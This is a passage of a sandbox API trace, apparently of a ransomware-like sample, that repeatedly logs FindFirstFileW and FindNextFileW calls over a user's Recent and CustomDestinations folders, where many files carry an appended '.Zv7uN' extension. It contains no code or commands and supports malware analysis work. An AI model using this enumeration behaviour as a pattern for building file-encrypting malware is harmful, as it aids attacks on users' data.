lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.942] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe389e040, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe389e040, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4e4653a0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="BbAbN3g2HP.mkv.lnk.Zv7uN", cAlternateFileName="BBABN3~1.ZV7")) returned 1 [0084.942] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.942] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.942] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc34b60, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3cc34b60, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x4e48b500, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xe80, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="bbtjkel4YLOifFIr.mkv.lnk.Zv7uN", cAlternateFileName="BBTJKE~1.ZV7")) returned 1 [0084.942] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.942] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.942] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1a6a920, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1a6a920, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4e4b1660, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x1a63, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="Bu_QHO9-h.lnk.Zv7uN", cAlternateFileName="BU_QHO~1.ZV7")) returned 1 [0084.942] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.942] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.942] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2f3e9a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2f3e9a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4e4fd920, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x20c6, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="C5a1Xl8LZSVJ.lnk.Zv7uN", cAlternateFileName="C5A1XL~1.ZV7")) returned 1 [0084.943] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.943] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.943] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7a9540, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d7a9540, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x4e62e420, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xf4f, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="cc7VJrUJ4rqn A41Oh O.lnk.Zv7uN", cAlternateFileName="CC7VJR~1.ZV7")) returned 1 [0084.943] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.943] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.943] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d81b960, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d81b960, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x4e6c69a0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xa8f, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="CdH12jxKESc8sWeA7C.lnk.Zv7uN", cAlternateFileName="CDH12J~1.ZV7")) returned 1 [0084.943] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.943] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.943] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d30caa0, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d30caa0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x4e6ecb00, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x9f1, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="Ck9o.lnk.Zv7uN", cAlternateFileName="CK9OLN~1.ZV7")) returned 1 [0084.943] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.943] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.943] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe24ae800, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe24ae800, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4e738dc0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x14d8, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="cr lAb2zi.lnk.Zv7uN", cAlternateFileName="CRLAB2~1.ZV7")) returned 1 [0084.943] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.943] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.943] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2084180, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2084180, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4e75ef20, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x3d5, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="csrS-.lnk.Zv7uN", cAlternateFileName="CSRS-L~1.ZV7")) returned 1 [0084.943] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.943] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.943] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d547f40, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d547f40, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x4e785080, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x14f8, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="cSsK3Xa3I8N9gp_g.mkv.lnk.Zv7uN", cAlternateFileName="CSSK3X~1.ZV7")) returned 1 [0084.943] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.943] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.944] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xce5f0760, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xce5f0760, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="CustomDestinations", cAlternateFileName="CUSTOM~1")) returned 1 [0084.944] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.944] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.944] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xce5f0760, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xce5f0760, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0084.944] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xce5f0760, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xce5f0760, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0084.944] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d97bc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dc975e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dc975e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="1b4dd67f29cb1962.customDestinations-ms", cAlternateFileName="1B4DD6~1.CUS")) returned 1 [0084.944] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0084.944] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0084.944] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe22bfd60, ftCreationTime.dwHighDateTime=0x1d2fab5, ftLastAccessTime.dwLowDateTime=0xcbe116e0, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xcbe116e0, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x1f68, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="590aee7bdd69b59b.customDestinations-ms", cAlternateFileName="590AEE~1.CUS")) returned 1 [0084.944] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0084.944] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0084.944] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d97bc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2da822a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2daa8400, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x43a3, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="5afe4de1b92fc382.customDestinations-ms", cAlternateFileName="5AFE4D~1.CUS")) returned 1 [0084.944] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0084.944] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0084.944] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85096390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x96ec4eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x96ec4eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x17d4, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="5d696d521de238c3.customDestinations-ms", cAlternateFileName="5D696D~1.CUS")) returned 1 [0084.945] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0084.945] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0084.945] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d97bc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dc975e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dc975e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="7e4dca80246863e3.customDestinations-ms", cAlternateFileName="7E4DCA~1.CUS")) returned 1 [0084.945] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0084.945] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0084.945] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5cb126c0, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5ddd1400, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5ddd1400, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x23ff, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="be71009ff8bb02a2.customDestinations-ms", cAlternateFileName="BE7100~1.CUS")) returned 1 [0084.945] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0084.945] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0084.945] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a388960, ftCreationTime.dwHighDateTime=0x1d42023, ftLastAccessTime.dwLowDateTime=0xce5f0760, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xce5f0760, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x1f68, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="d93f411851d7c929.customDestinations-ms", cAlternateFileName="D93F41~1.CUS")) returned 1 [0084.945] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0084.945] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0084.945] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a388960, ftCreationTime.dwHighDateTime=0x1d42023, ftLastAccessTime.dwLowDateTime=0xce5f0760, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xce5f0760, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x1f68, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="d93f411851d7c929.customDestinations-ms", cAlternateFileName="D93F41~1.CUS")) returned 0 [0084.945] GetLastError () returned 0x12 [0084.945] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0084.945] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xce5f0760, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xce5f0760, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0084.946] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0084.946] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0084.946] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xce5f0760, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xce5f0760, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0084.946] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0084.946] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0084.946] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d97bc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dc975e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dc975e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="1b4dd67f29cb1962.customDestinations-ms", cAlternateFileName="1B4DD6~1.CUS")) returned 1 [0084.946] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0084.946] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0084.946] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe22bfd60, ftCreationTime.dwHighDateTime=0x1d2fab5, ftLastAccessTime.dwLowDateTime=0xcbe116e0, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xcbe116e0, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x1f68, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="590aee7bdd69b59b.customDestinations-ms", cAlternateFileName="590AEE~1.CUS")) returned 1 [0084.946] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0084.946] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0084.946] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d97bc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2da822a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2daa8400, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x43a3, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="5afe4de1b92fc382.customDestinations-ms", cAlternateFileName="5AFE4D~1.CUS")) returned 1 [0084.946] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0084.946] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0084.946] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85096390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x96ec4eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x96ec4eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x17d4, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="5d696d521de238c3.customDestinations-ms", cAlternateFileName="5D696D~1.CUS")) returned 1 [0084.946] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0084.946] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0084.947] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d97bc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dc975e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dc975e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="7e4dca80246863e3.customDestinations-ms", cAlternateFileName="7E4DCA~1.CUS")) returned 1 [0084.947] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0084.947] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0084.947] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5cb126c0, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5ddd1400, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5ddd1400, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x23ff, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="be71009ff8bb02a2.customDestinations-ms", cAlternateFileName="BE7100~1.CUS")) returned 1 [0084.947] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0084.947] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0084.947] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: 